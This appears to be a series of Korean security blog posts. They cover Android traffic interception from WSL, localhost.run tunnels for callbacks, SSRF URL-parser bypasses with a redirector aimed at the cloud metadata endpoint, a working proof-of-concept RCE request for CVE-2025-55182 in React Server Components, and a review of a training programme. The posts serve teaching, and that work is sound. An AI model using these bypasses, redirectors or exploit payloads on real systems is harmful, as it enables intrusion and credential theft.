저는 평소 작업을 거의 WSL에 몰아놓고 씁니다. 프록시고 스크립트고 툴이고 전부 리눅스 쪽에 있거든요.

그런데 모바일 앱을 봐야 할 때가 문제입니다. 실기기가 없거나 루팅하기 애매할 때 보통 Nox 같은 에뮬레이터를 켜는데, WSL이랑 Nox는 동시에 안 됩니다. Nox가 아예 안 뜨거나, 떠도 기어갑니다.

매번 재부팅해가며 쓰기도 귀찮고 WSL을 포기할 수도 없어서 방법을 찾았습니다. 결론은 WSL 안에서 에뮬레이터를 직접 띄우고, 거기에 Burp 인증서까지 심어서 트래픽을 까는 것까지 됩니다. 나중에 또 까먹을 것 같아 한번 적어 봅니다.

왜 Nox랑 같이 안 되는가

CPU 안에는 가상 머신을 돌리는 스위치(AMD-V / VT-x)가 하나 있습니다. 이걸 누가 잡느냐의 싸움입니다.

• WSL2는 Hyper-V라는 관리인을 세워두고 그 관리인을 통해 스위치를 씁니다. 한 번 잡으면 독점입니다.
• Nox는 VirtualBox 기반이라 관리인을 안 거치고 자기가 직접 잡으려 합니다.

이미 관리인이 꽉 쥐고 있으니 Nox는 못 잡습니다. 그래서 소프트웨어 렌더링으로 떨어지고, 그래서 기어갑니다.

그래서 에뮬레이터를 고를 때는 관리인을 통해 쓰는(WHPX 지원) 놈으로 골라야 합니다.

그리고 어차피 진단용이면 WSL 안에서 직접 띄우는 게 제일 깔끔합니다. adb도 프록시도 전부 리눅스 쪽에 있으니 인증서 밀어넣고 트래픽 까는 흐름이 한 화면에서 끝납니다.

뚝딱

시작 전에 이것부터 확인합니다. WSL 안에서 쳐봅니다.

ls -l /dev/kvm

파일이 보이면 중첩 가상화(nested virtualization)가 켜져 있는 것입니다. 관리인 밑에서 또 가상 머신을 돌릴 수 있다는 뜻이고, 이게 있어야 아래가 다 됩니다. 요즘 Windows 11이면 대체로 켜져 있습니다.

1. 필요한 패키지 설치qemu-kvm이 하드웨어 가속 담당이고, 나머지는 자바랑 소리·그래픽 라이브러리입니다.
2. sudo apt update sudo apt install -y openjdk-17-jdk unzip qemu-kvm libpulse0 libgl1
3. 내 계정에 가속 쓸 권한 주기그리고 Windows PowerShell에서 한 번 껐다 켜야 그룹이 먹습니다.
4. wsl --shutdown
5. sudo usermod -aG kvm $USER
6. 안드로이드 커맨드라인 툴 설치
7. mkdir -p ~/android/cmdline-tools && cd ~/android/cmdline-tools curl -O https://dl.google.com/android/repository/commandlinetools-linux-11076708_latest.zip unzip -q commandlinetools-linux-11076708_latest.zip && mv cmdline-tools latest
8. 환경 변수 등록그냥 export만 치면 터미널 끌 때 날아갑니다. .bashrc에 넣어두면 터미널 켤 때마다 알아서 잡힙니다. > 하나면 파일이 통째로 날아가니 >> 두 개인지 꼭 봅니다.
9. cat >> ~/.bashrc << 'EOF' # Android SDK export ANDROID_HOME=$HOME/android export PATH=$PATH:$ANDROID_HOME/cmdline-tools/latest/bin:$ANDROID_HOME/emulator:$ANDROID_HOME/platform-tools EOF source ~/.bashrc
10. 시스템 이미지 설치라이선스 동의 물어보면 y 눌러줍니다. 여기서 platform-tools 안에 adb가 같이 딸려옵니다.
11.  

왜 34가 아니라 33(Android 13)인가? Android 14(API 34)부터 시스템 인증서 저장소가 APEX 모듈로 옮겨가서, 아래 나오는 "시스템 인증서 심기"가 매우 까다로워졌습니다. 진단 목적이면 API 33 이하가 압도적으로 편합니다. 굳이 14에서 봐야 할 이유가 없으면 33으로 갑니다.

1.  
2. sdkmanager "platform-tools" "emulator" "system-images;android-33;google_apis;x86_64"
3. 가상 기기 생성
4. avdmanager create avd -n pentest33 -k "system-images;android-33;google_apis;x86_64"
5. 실행 (이때 옵션이 중요합니다)
   • writable-system이 핵심입니다. 이걸 붙여서 켜야 나중에 /system에 인증서를 심을 수 있습니다. 이 옵션 없이 켜면 뒤에서 아무리 remount 해도 다시 잠깁니다.
6. emulator -avd pentest33 -writable-system -gpu swiftshader_indirect

• gpu 옵션은 두 개만 알아두면 됩니다.

adb 연결

에뮬레이터도 adb도 같은 리눅스 안에 있으니 연결 작업이 아예 없습니다.

adb devices

List of devices attached
emulator-5554   device

이렇게 나오면 끝입니다. adb install, adb logcat, adb shell 전부 바로 됩니다. 안 잡히면 서버 한 번 재시작합니다.

adb kill-server && adb start-server && adb devices

루트 권한

위에서 받은 google_apis 이미지는 루트가 열려 있어서 명령어 한 줄이면 됩니다.

adb root

restarting adbd as root가 뜨면 됐습니다. shell에 들어가서 맨 앞이 #이면 루트, $면 아직 아닙니다.

이미지 선택은 진단 관점에서 이렇게 갈립니다.

시스템 인증서 심기 (트래픽 까기)

앱 HTTPS를 Burp로 보려면, 앱이 신뢰하는 시스템 인증서 저장소에 내 Burp CA를 심어야 합니다. 사용자 저장소에만 넣으면 요즘 앱은 대부분 무시합니다.

1. Burp에서 CA 인증서를 뽑습니다. Proxy → Options → Import/Export CA certificate → Certificate in DER format으로 cacert.der 저장.
2. 안드로이드가 요구하는 형식과 이름으로 변환합니다. 파일명이 해시값.0 이어야 인식됩니다.subject_hash_old를 쓰는 이유는 안드로이드가 옛날 OpenSSL 해시 방식을 쓰기 때문입니다. 그냥 -subject_hash로 하면 이름이 안 맞아서 인식이 안 됩니다.
3. openssl x509 -inform DER -in cacert.der -out cacert.pem HASH=$(openssl x509 -inform PEM -subject_hash_old -in cacert.pem | head -1) cp cacert.pem "$HASH.0"
4. 시스템 저장소에 밀어넣습니다.
5. adb root adb remount adb push "$HASH.0" /system/etc/security/cacerts/ adb shell chmod 644 /system/etc/security/cacerts/"$HASH.0" adb reboot

리부트 후 설정 → 보안 → 신뢰할 수 있는 자격 증명 → 시스템에 Burp가 보이면 성공입니다. 이제 Burp 프록시만 잡으면 앱 HTTPS가 열립니다.

한 가지 미리 짚어두면, 인증서 고정(SSL Pinning)이 걸린 앱은 이걸 해도 막힙니다. 그건 인증서 문제가 아니라 앱이 내 CA 자체를 거부하는 거라, objection이나 frida로 우회하는 별도 단계가 필요합니다. 이건 분량이 있어서 다음 글로 빼겠습니다.

마무리

정리하면 이렇습니다.

• 앱 진단용 → WSL 안에서 에뮬레이터 + writable-system + 시스템 인증서. Nox 켜자고 WSL 껐다 켤 일이 없어집니다.
• Nox의 멀티 인스턴스나 특정 기능이 꼭 필요 → 이건 대체가 안 되니 Hyper-V 끈 부팅 항목을 따로 만들어야 합니다. 대신 그 부팅에선 WSL도 Docker도 안 돕니다.

저는 어차피 프록시 붙여놓고 트래픽 보는 게 주라 첫 번째로 정착했습니다. 목적 보고 알아서 고르면 될 듯 합니다.

모의해킹을 하다 보면 내 로컬에 띄운 서버를 외부에서 접근 가능하게 만들어야 할 때가 있습니다. SSRF 리다이렉터, 콜백 서버, OOB 페이로드 수신용 엔드포인트 같은 것들입니다. ngrok이나 Cloudflare Tunnel을 쓰면 되지만, 둘 다 설치가 필요합니다.

localhost.run은 SSH만 있으면 됩니다. 별도 설치 없이 명령어 한 줄로 로컬 포트를 HTTPS 주소로 뚫어줍니다.

원리

내 로컬 서버(:8000)
      │
      ▼  SSH 역터널
localhost.run 서버
      │
      ▼  HTTPS 종단 처리
https://랜덤.lhr.life  ← 외부에서 접근 가능

핵심은 SSH의 역방향 포트 포워딩(-R 옵션)입니다. localhost.run 서버가 받은 HTTPS 요청을 SSH 터널을 거꾸로 타고 내 로컬 포트로 전달합니다. HTTPS 인증서도 localhost.run이 알아서 붙여주기 때문에, 받는 쪽은 유효한 인증서가 달린 주소를 그대로 씁니다.

설치가 필요 없는 이유가 여기 있습니다. 터널을 여는 도구가 SSH인데, SSH는 거의 모든 환경에 이미 깔려 있습니다.

기본 사용법

1. 로컬 서버 띄우기

먼저 노출할 서버가 있어야 합니다. 예시로 302 리다이렉터를 띄워봅니다.

# 터미널 1
python3 -c "
from http.server import BaseHTTPRequestHandler, HTTPServer
class H(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(302)
        self.send_header('Location', 'https://example.com')
        self.end_headers()
HTTPServer(('0.0.0.0', 8000), H).serve_forever()
"

2. 터널 연결

# 터미널 2
ssh -R 80:localhost:8000 nokey@localhost.run

처음 연결할 때 호스트 키 확인이 뜨면 yes를 입력합니다.

3. 발급된 주소 확인

===============================================================================
    your url is: https://abc123def456.lhr.life
===============================================================================

이 https://....lhr.life 주소가 외부에서 내 로컬 서버로 연결되는 입구입니다.

명령어 뜯어보기

ssh -R 80:localhost:8000 nokey@localhost.run
       │  │         │     │
       │  │         │     └─ 접속할 터널 서비스
       │  │         └─ 내 로컬에서 노출할 포트
       │  └─ 터널 서버가 열어줄 원격 포트
       └─ 역방향 포워딩 (Remote)

nokey는 SSH 키 없이 익명으로 붙겠다는 의미입니다. 그래서 매번 랜덤 주소가 발급됩니다.

자주 쓰는 변형

다른 포트를 노출하고 싶을 때는 뒤의 포트 번호만 바꿉니다.

# 로컬 3000번 포트 노출
ssh -R 80:localhost:3000 nokey@localhost.run

고정 서브도메인이 필요하면 SSH 키를 등록하고 nokey 없이 접속합니다.

ssh -R 80:localhost:8000 localhost.run

키가 등록돼 있으면 같은 주소를 계속 받을 수 있어서, 매번 페이로드의 콜백 주소를 갈아끼우지 않아도 됩니다.

ngrok / Cloudflare Tunnel과 비교

항목 localhost.run ngrok (무료) Cloudflare Tunnel

ngrok 무료 플랜은 브라우저 User-Agent로 들어온 첫 요청에 경고 인터스티셜을 끼우기 때문에, 자동화된 요청을 받을 때 응답이 가로채일 수 있습니다. localhost.run은 그런 중간 페이지가 없어서 콜백/리다이렉터 용도로 쓰기 편합니다.

활용 예시

모의해킹 관점에서 localhost.run이 유용한 지점들입니다.

• SSRF 리다이렉터 — 검증을 통과한 요청을 내부 주소로 302 리다이렉트시킬 때, 외부에서 닿는 HTTPS 주소가 필요합니다.
• OOB(out-of-band) 콜백 수신 — 블라인드 취약점에서 서버가 내 쪽으로 요청을 보내는지 확인할 때.
• 웹훅 테스트 — 대상 시스템이 내 엔드포인트로 콜백을 보내도록 등록하고 페이로드를 받아볼 때.

주의사항

• 무료 사용 시 연결이 끊기면 주소가 바뀝니다. 터널을 Ctrl+C로 끊으면 주소도 사라집니다.
• 터널이 열려 있는 동안에는 누구나 그 주소로 내 로컬 서버에 접근할 수 있습니다. 민감한 서비스를 노출하지 마세요.
• 실습이 끝나면 터널을 반드시 닫습니다.

이 글의 내용은 직접 통제하는 로컬 환경과 허가된 자산에 한해 사용합니다. 허가 없이 남의 시스템을 대상으로 사용하면 범죄입니다.

SSRF는 임팩트 대비 트리거가 참 단순합니다. URL 입력란 하나, 백슬래시 한 글자로 도메인 검증이 통째로 뚫리고, 그 끝에 클라우드 자격증명이 걸려 있기도 합니다.

이번 글은 그 핵심 기법인 URL Parser Confusion의 원리만 이해 해보려고 합니다.

실습 코드 → https://github.com/Truebird0109/sec-lab/tree/main/ssrf-url-parser-confusion

SSRF가 뭐길래

서버가 사용자가 넣은 URL로 대신 요청을 보내주는 기능을 악용하는 공격입니다. 그 서버를 꼬드겨서 원래는 닿을 수 없는 내부 자원에 접근합니다.

외부에서 직접:   클라이언트 → 내부 서비스        ✗ (방화벽이 막음)
SSRF:           클라이언트 → 서버 → 내부 서비스   ✓ (서버는 내부에 있음)

포인트는 "누가 요청을 보내느냐"입니다. 내가 부 서비스에 직접 쏘면 막히지만, 내부망 안에 있는 서버가 대신 쏘면 통과합니다.

그래서 SSRF가 터지면 보통 이런 걸 노립니다.

• 클라우드 메타데이터 탈취 — AWS 169.254.169.254에서 IAM 임시 자격증명을 그대로 받아옵니다. 2019년 Capital One 유출(1억 명)이 이 경로였습니다.
• 내부 서비스 접근 — 인증 없이 열린 Redis, Elasticsearch, 내부 관리자 페이지, k8s API 등.
• RCE 피벗 — gopher://로 Redis에 명령을 밀어넣어 코드 실행까지 가기도 합니다.

어디서 터지나

"서버가 사용자가 준 URL을 대신 가져오는" 기능이 전부 후보입니다.

• 웹훅 URL 등록
• 링크 미리보기(unfurl), OGP 수집
• "URL로 이미지 가져오기", 외부 URL 아바타
• URL → PDF/스크린샷 변환 (헤드리스 브라우저라 특히 위험)
• OIDC issuer, SAML metadata 같은 SSO URL 입력란
• 이미지 프록시/리사이저

이중 "URL로 이미지 가져오기" 와 "웹훅 등록" 이 제일 자주 걸립니다. 

응답이 안 보이는 블라인드 SSRF는 내 콜백 주소(Burp Collaborator, interactsh)를 넣어보면 됩니다. 서버가 거기로 DNS/HTTP 요청을 보내는 것만 확인돼도 취약 증거입니다.

핵심: URL Parser Confusion

SSRF 필터는 대부분 "허용된 도메인인지 URL을 파싱해서 확인"합니다.

문제는 파싱하는 코드가 두 군데라는 점입니다.

• 검증용 파서 (예: urllib.parse)
• 실제 요청용 파서 (예: requests 내부의 urllib3)

이 둘이 같은 URL을 다르게 읽는 순간 틈이 생깁니다. WAF한테는 "허용 도메인 맞아요"라고 보여주고, 실제 요청은 딴 데로 보내는 겁니다.

직접 돌려보면 바로 보입니다.

from urllib.parse import urlparse

url = "https://images.example.com@evil.com/"
p = urlparse(url)

print(p.netloc)    # images.example.com@evil.com
print(p.hostname)  # evil.com   ← 실제 접속은 여기로!

검증 코드가 netloc만 보고 "images.example.com 들어있네, 통과" 하면 끝입니다.

유형 1 — @ (유저인포)

@ 앞은 인증 정보, 뒤가 진짜 호스트입니다.

netloc에 허용 도메인이 들어있는지만 보는 필터는 못 잡습니다. requests는 @ 뒤 evil.com으로 갑니다.

유형 2 — 백슬래시(\)

urlparse는 \를 netloc으로 인식하지만, urllib3는 \를 /처럼 봐서 앞부분만 호스트로 씁니다.

url = r"https://images.example.com\evil.com/"
urlparse(url).netloc   # images.example.com\evil.com  ← 검증 통과
# urllib3는 images.example.com 으로만 접속

즉, 백슬래시 앞에 내가 통제하는 서버를 두면 검증은 통과시키고 요청은 내 서버로 끌어옵니다. 거기서 내부 주소로 리다이렉트만 걸면 완성입니다.

유형 3 — 검증이 더 허술하면

netloc 파싱도 안 하고 문자열 비교(in, startswith)나 블랙리스트만 쓰면 이런 것도 먹힙니다.

마무리: 리다이렉트

검증을 통과해도 닿아야 할 곳은 내부 주소입니다. requests.get()이 30x를 기본으로 따라간다는 점을 씁니다. 내 서버에 302 한 줄만 세워두면 됩니다.

from http.server import BaseHTTPRequestHandler, HTTPServer
class H(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(302)
        self.send_header('Location', 'http://169.254.169.254/latest/meta-data/')
        self.end_headers()
HTTPServer(('0.0.0.0', 80), H).serve_forever()

Location만 바꾸면 목적지를 자유롭게 갈아끼웁니다. 외부 HTTPS 주소는 VPS에 올리거나, 설치 없이 ssh -R 80:localhost:80 nokey@localhost.run 로 뽑아 쓰면 됩니다.

왜 아직도 통하나

흔한 실수 셋이 거의 항상 같이 나옵니다.

1. netloc으로 검증 → hostname을 써야 @ 뒤 진짜 호스트가 잡힙니다.
2. 검증·요청에 다른 파서 사용 → 그 해석 차이가 곧 공격 표면입니다.
3. 리다이렉트 방치 → 첫 URL만 보고 목적지는 무검증으로 따라갑니다.

# 뚫림
if allowed_domain in parsed.netloc: ...

# 안전
if parsed.hostname == allowed_domain: ...

React Server Components

React Server Component는 React19에 도입된 기능으로 컴포넌트를 클라이언트 브라우저가 아닌 서버에서 렌더링 할 수 있도록 합니다. 이 기능은 서버가 연산 집약적인 작업을 처리하는 동시에 렌더링된 결과만 클라이언트에 전송할 수 있으므로 상당한 성능 이점을 제공합니다.

RSC에서 서버와 클라이언트 간의 통신은 React Flight라는 프로토콜을 사용합니다. 이 프로토콜은 서버와 클라이언트 간에 전송되는 데이터의 직렬화 및 역 직렬화를 처리 합니다. 클라이언트가 서버측 함수를 호출해야 할 때, 직렬화된 데이터가 포함된 특수 형식의 요청을 전송하고 서버는 이를 역직렬화 하여 처리합니다.

Flight 프로토콜은 타입 마커가 포함된 특정 직렬화 형식을 사용 합니다.

이러한 직렬화 메커니즘에 취약점이 존재 합니다. 서버는 요청된 속성이 의도된 모듈에서 합법적으로 내보낸 것인지 제대로 검증하지 않고 이러한 참조를 처리합니다.

cve 2025-55182가 터지는 이유

cve 2025-55182는 React Sever Components가 수신 Flight 프로토콜 페이로드를 처리하는 방식에 존재하는 안전하지 않은 역직렬화 취약점 입니다. 이 취약점은 react-server-dom-webpack 패키지 내의 requireModule 함수에 존재합니다.

function requireModule(metadata) {  
 var moduleExports = __webpack_require__(metadata[0]);  
 // 추가 로직  
 return moduleExports[metadata[2]];  // 취약한 라인  
}

취약한 라인은 moduleExports[metadata[2]]에 있습니다.

metadata[2]는 클라이언트가 Flight 프로토콜을 통해 서버로 보낸 속성 이름(Property Name)입니다.

결함은 자바스크립트의 대괄호 표기법([])으로 속성에 접근할 때 발생합니다. 자바 스크립트 엔진은 단순히 해당 객체의 속성만 확인하는 것이 아니라 전체 프로토타입 체인(Prototype Chain)을 따라가면서 속성을 탐색합니다. 따라서 공격자는 모듈이 Export 하지 않은 속성까지 참조 할 수 있습니다.

cve 2025-55182의 공격 경로

공격자가 해당 취약점을 악용하여 RCE 취약점에 이르는 경로는 다음과 같습니다.

1. constructor 속성 접근
   • 자바 스크립트에서 모든 함수는 constructor라는 속성을 가지고 있으며, 이 속성은 전역 Function 생성자를 가리킵니다.
   • 공격자가 someFunction.constructor를 호출하여 Function 생성자에 대한 참조를 얻으면 이를 통해 문자열 형태의 코드를 인수로 받아 실행 할 수 있게 됩니다.
2. 페이로드 조작을 통한 우회
   • React의 Flight 프로토콜은 클라이언트가 콜론으로 구분된 참조 구문을 사용하여 속성 경로를 지정할 수 있도록 허용 합니다.
   • 공격자는 $1:constructor:constructor와 같은 악성 참조를 페이로드에 삽입 할 수 있습니다.
3. 단계별 실행
   • $1: 해당 청크 모듈을 가져옵니다.
   • constructor : .constructor 속성에 접근하여 Function 생성자를 얻습니다.
   • constructor : Function 생성자 객체에 다시 .constructor를 호출합니다.

Maple3142 Proof-of-concept

{  
 "then": "$1:__proto__:then",  
 "status": "resolved_model",  
 "reason": -1,  
 "value": "{\\\\"then\\\\":\\\\"$B1337\\\\"}",  
 "_response": {  
   "_prefix": "process.mainModule.require('child_process').execSync('xcalc');",  
   "_chunks": "$Q2",  
   "_formData": {  
     "get": "$1:constructor:constructor"  
   }  
 }  
}

1. 가짜 청크 객체 생성
   공격은 서버에 세 개의 필드를 가진 멀티파트 폼 요청을 보내는 것으로 시작합니다. 첫 번째 필드에는 RSC의 내부 Chunk 클래스 구조를 모방한 악의적으로 조작된 객체가 포함 됩니다.
   • then 속성 조작: 해당 객체는 then 속성을 Chunk.prototype.then을 참조하도록 설정하여 자기 참조적 구조를 만듭니다.
   • Promise 로직 악용: React가 이 객체를 처리하고 청크가 해결되기를 기다릴 때, then 매서드가 이 가짜 청크 객체를 컨텍스트로 사용하여 호출됩니다. 이로서 공격은 다음 단계로 넘어갈 준비를 합니다.
2. Blob 역직렬화 핸들러 악용
   공격의 두번째 핵심 요소는 value 필드에 있는 $B 핸들러 참조 입니다.
   • $B 참조의 역할 : React의 Flight 프로토콜에서 $B 접두사는 Blob 참조를 나타냅니다. React가 이 Blob 참조를 처리할 때, 내부적으로 response._fromData.get(response._prefix + id)와 유사한 함수를 호출하게 됩니다.
   • 공격 경로 결합
     • _formdata.get 오염 : 가짜 청크 객체에서 _formdata.get은 “$1:constructor:constructor”를 가리키도록 설정 되어 있습니다. “$1:constructor:constructor”은 결국 Function 생성자로 해석 됩니다.
     • 코드 주입 : _prefix 속성에는 실행하고자 하는 악성코드 문자열이 담겨 있습니다.

Maple3142 Proof-of-concept result

POST / HTTP/1.1  
Host: localhost  
Next-Action: x  
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad

------WebKitFormBoundaryx8jO2oVc6SWP3Sad  
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\\\\"then\\\\":\\\\"$B1337\\\\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('xcalc');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}  
------WebKitFormBoundaryx8jO2oVc6SWP3Sad  
Content-Disposition: form-data; name="1"

"$@0"  
------WebKitFormBoundaryx8jO2oVc6SWP3Sad  
Content-Disposition: form-data; name="2"

[]  
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--  

• 헤더 Next-Action: X는 React의 서버 액션 처리를 트리거합니다.
• 멀티파티 본문 :
  • 필드 0 : 악성 _response 구조를 포함하는 가짜 Chunk 객체 입니다.
  • 필드 1 : $@0 참조입니다. 이는 필드 0을 다시 가리키는 자체 참조(self-reference)를 생성합니다.
  • 필드 2 : 필요한 구조를 완성하는 빈 배열 입니다.

작동 원리 :

서버가 이 요청을 처리할 때, 필드 0을 역직렬화 합니다. 그리고 필드 1에서 $@0 자체 참조를 만나게 되고, 이로 인해 자체 참조적인 then 속성을 설정합니다. 그 결과, Blob 핸들러가 트리거되어 Functuon 생성자를 통해 우리가 삽입한 코드가 실행 됩니다.

[홍보 포스터]

[서론]

이 글은 화이트햇 스쿨 2기 준비생 혹은 고민을 하고 있는 학생들을 위해서 준비한 글이다.

글을 쓰기 전에 모집 대상이 만 24세 이하(1999년.3.12 이후 출생자)라는 걸 보고 3기 모집때는 나는 모집 대상에 해당 안된다는 생각에 울적해졌다.

아무튼 이 글의 목적은 화이트 햇 스쿨의 교육 과정 및 장,단점을 알려 주기 위해서 이다.

선발 절차에 대한 후기를 보고 싶으면 2024.01.11 - [ETC] - 화이트햇 스쿨 1기 합격 후기

[본론 - 교육 과정]

교육 과정은 총 3단계로 쪼갤 수 있다.

교육 기간 - 프로젝트 기간 - 재 교육(심화 교육)

이 글을 쓰고 있는 지금은 프로젝트 기간만 끝난 상황이므로 , 재 교육에 대한 글은 생략 하겠다. 나중에 재 교육을 받게 되면 글을 수정 해 보겠다.

1. 교육 기간

 말 그대로 교육 기간이다.BOB와 다르게 트랙을 나누지 않고 공통된 과목을 알려 주기 때문에 보안에 대한 지식을 넓힐 수 있다는 장점이 있다. 교육은 온라인 교육과 오프라인 교육이 있다.  온라인에서는 보안에 대한 기초 지식에 대해서 공부 할 수 있다. 오프라인에서는 직접 강의장에서 수업을 들으며 , 멘토님에게 질문을 드릴수 있는 온라인 교육보다는 심화된 내용을 알려 주신다. 오프라인 교육 같은 경우에는 사이버 워룸에서 수업을 듣게 되며 , 반별로 나뉘어서 수업을 듣게 된다. 반은 이름 순으로 잘랐다.

오프라인 수업에 경우 일부 반은 BOB 센터에 가고 나머지의 경우 구글 미트를 이용해서 진행 한다.(코로나때 수업 같다)

오프라인 수업은 주말에 시작 되며 , 쉬는 날이 없다는 단점이 있다. 근데 이건 어떤 교육을 들어도 마찬가지다. 학습을 위해서는 과감히 하나는 포기하자.

수업 내용에 대해서는 과감히 말 할 수 있다. 진짜 알차다.

타 교육 기관을 보면 강사 일을 하는 사람이 보안을 알려 준다. ( 나도 그런 학원을 다녀 봤다 )

근데 화이트 햇 스쿨에서는 실무자들 (또는 대학 교수)이 보안을 알려준다. 이게 엄청난 메리트다.  학원과 비하면 교육의 질이 다르다.(심지어 모두 무료다)  또한 온라인 교육도 진행 되기 때문에 강의를 교육 기간 내에 다시 들을 수도 있다.

단점은 수업의 질이 높은 만큼 과제가 많다. 기간이 학교와 겹치기 때문에 밤 새는 일이 많을 수도 있다.

2.프로젝트 기간

프로젝트는 멘토님이 정한 주제 or 자유 주제 로 진행 된다. 각자 흥미가 있는 분야를 선택해서 진행 하면 되겠다.

프로젝트는 2주에 1번씩 쓰는 보고서와 중간 발표 , 최종 발표로 진행 된다.

프로젝트 담당 멘토님과 PL님이 피드백을 많이 주신다. 이번 프로 젝트를 하면서 많은 것을 배웠다.

프로젝트의 경우 팀 by 팀 인것 같다. 같이 화이트 햇 스쿨을 진행한 동기는 많이 힘들 었다고 했다.

난 다행히 팀을 잘 만나서 프로젝트를 무사히 마친 것 같다.

제대로 된 프로젝트 경험은 나중에 BOB나 취업을 할때 유용하게 쓸 수 있다. 제대로 된 프로젝트를 경험 하고 싶은 사람은 화이트햇 스쿨을 꼭 해보길 바란다.

3. ETC

CTF나 wargame도 진행 한다.

[장 단점 요약]

장점

1. 보안에 대해 폭 넓게 배워 진로 선택 할 떄 도움이 많이 된다 : 실무자들의 경험을 듣고 여러 실습들을 진행 하면서 진로를 확실하게 잡은 것 같다.

2. 보안 인맥을 넓힐수 있다

3. 제대로된 프로젝트 경험을 가질 수 있다. ( 프로젝트 진행 시 프로젝트 진행 비도 준다)

4. 제대로 된 교육을 들을 수 있다.

단점

1. 주말이 없다. : 교육 기간 외에도 프로젝트 기간에도 팀원들과 만나서 했어야 했기 때문에 주말이 없어졌다.

2. 과제가 많다.

3. 학교와 겹치는 일정이 많아서 밤을 샌다.

진짜 머리를 짜낸 단점이 저 3개 뿐이다. 근데 장점에 비하면 미미한 단점이라 꼭 화이트 햇 스쿨에서 교육 받는 것을 추천 한다.

추천대상

1. 대학교 1,2 학년

2. 진로를 못 정한 사람

3. 보안에 대해 베이스를 다잡고 싶은 사람

[서론]

때는 작년 6월 BOB 12기를 지원 하고 서류는 합격 했지만 , 면접에서 아쉽게 떨어진 때였다.

2번이나 떨어진 BOB에서 나는 뭘 하고 있는건지 현타가 심하게 온 때였다.

그러던 중 KITRI에서 화이트햇 스쿨이라는 Pre BOB가 열린다는 소식을 들었다.

화이트햇 스쿨은 BOB와 다르게 보안 입문자를 타겟으로 하는 교육 프로그램이라고 했다.

그래서 마지막 도전이라는 느낌으로 화이트햇 1기에 지원하게 되었다. 

[선별 과정]

선별은 서류전형 - 필기전형 - 면접전형 의 과정으로 진행 되었다.

[선별 과정 - 서류 전형] 

서류는 자기소개서와 학습 계획서 두개만 썼던 것 같다.

왜 의문형으로 적냐면 기간도 오래 되기도 했고 , 서론에 서술 되었듯이 BOB 서류를 합격 했기 때문이다.

엥? 그게 뭔상관인데 라고 한다면 화이트햇 스쿨 1기의 서류 전형은 BOB 12기 서류 합격자는 그냥 서류 합격 대상 이였기 때문이다. 

해당 내용은 BOB 13기를 모집하고 있는 지금은 아닐 수 있다. 자세한건 KITRI에게 물어 보자 

[선별 과정 - 필기 전형]

필기 전형은 2가지 전형을 거져서 진행 되었다.

1. 필기 시험

2. 인적성 검사 

1. 필기 시험

필기 시험은 보안의 기초에 대해서 묻는 질문들이 나온다. 보안에 관심이 있으면 다 풀수 있는 정도의 수준(개인 차 있음)이 나온다.

사실 필기 시험에 관한 슬픈 에피소드가 하나 있다.

필기 시험의 일정은 위 사진처럼 8월 12일 오전 10시 였다. 

하지만 필기 시험에 대한 걱정으로 잠을 설치는 바람에 눈을 뜬 순간 11시였다.

" 아 망했다. 난 이제 이것도 끝이구나" 리고 생각 하던 찰나에 문자가 하나 왔다.

다행스럽게도 재 시험이라는 기회가 왔다.(적어도 나에게는 하늘에서 내려온 동아줄 같았다.)

근데 마지막에 있던 기타 사항을 보고 떨어질 것 같다고 생각 했다.

왜냐하면 1차시험에 응하지 않았는데 1,2차 평균 점수라면 , 내가 2차를 100점 맞아도 50점이라는 점수만 받게 되서 떨어질것 같았다.

잡담은 여기 까지 하고 , 필기 때는 어떤 문제가 나오냐면

위 25가지 목록들 중에서 나온다.

만약 자신이 필기 시험을 잘 보고 싶다면 , 정보 보안 개론이나 , 정보 처리 기사 시험문제를 좀 보는 것을 추천 한다.

2. 인적성 검사
이건 진짜 , 진짜 준비할 필요가 없다. 사실 준비 할 수도 없다.

진짜 문제가 어떤 수준이냐면 

Q1 . 할머니가 오르막길에서 리어카를 밀고 있는데 내가 할 일로 옳은것은?

A1. 무시하고  올라간다.

A2. 리어카를 뺏어서 도망간다.

A3. 할머니에게 도와 드리겠다 하고 리어커를 같이 끌어준다.

이정도의 수준의 문제가 나온다. 걱정 안하고 봐도 된다는 의미다.

내가 생각 할 때 진또배기는 면접 전형인것 같다.

[선별 과정 - 면접 전형]

내가 BOB 면접 2회 , 안랩 면접 1회 , 정보보호병 면접 1회의 많지는 않지만 적지도 않은 면접을 보았지만, AI와 면접 하는 것은 처음 이였다. 그래서 평소 준비 하던대로 면접 질문을 준비 했다. 사람이 아닌 AI라서 꼬리 질문은 생각 하지 않고 , 면접에서 나올만한 질문들로 준비했다. 

면접 당일 컴퓨터를 켜서 답할 준비를 했는데 , 아뿔싸 내 (구)노트북이 5년정도 쓰니까 카메라도 안되고 , 마이크도 안되던 상태 였던 것이다. 빠르게 노트북을 빌려서 면접을 해결했다. 물론 저 노트북은 프로젝트 도중에 변경 해줬다. (잘가 ~ 노트북아)

면접 질문은 어렵지 않았다. 긴장만 하지 말고 , 인터넷에 있는 면접 예상 질문들만 준비 해 가면 될것 같다.

친절하게 재 답변 기회도 준다.

[결과]

우여 곡절 끝에 합격을 할 수 있었다.

다음 글에는 화이트 햇 스쿨 2기를 위한 홍보 글을 작성 해 보겠다.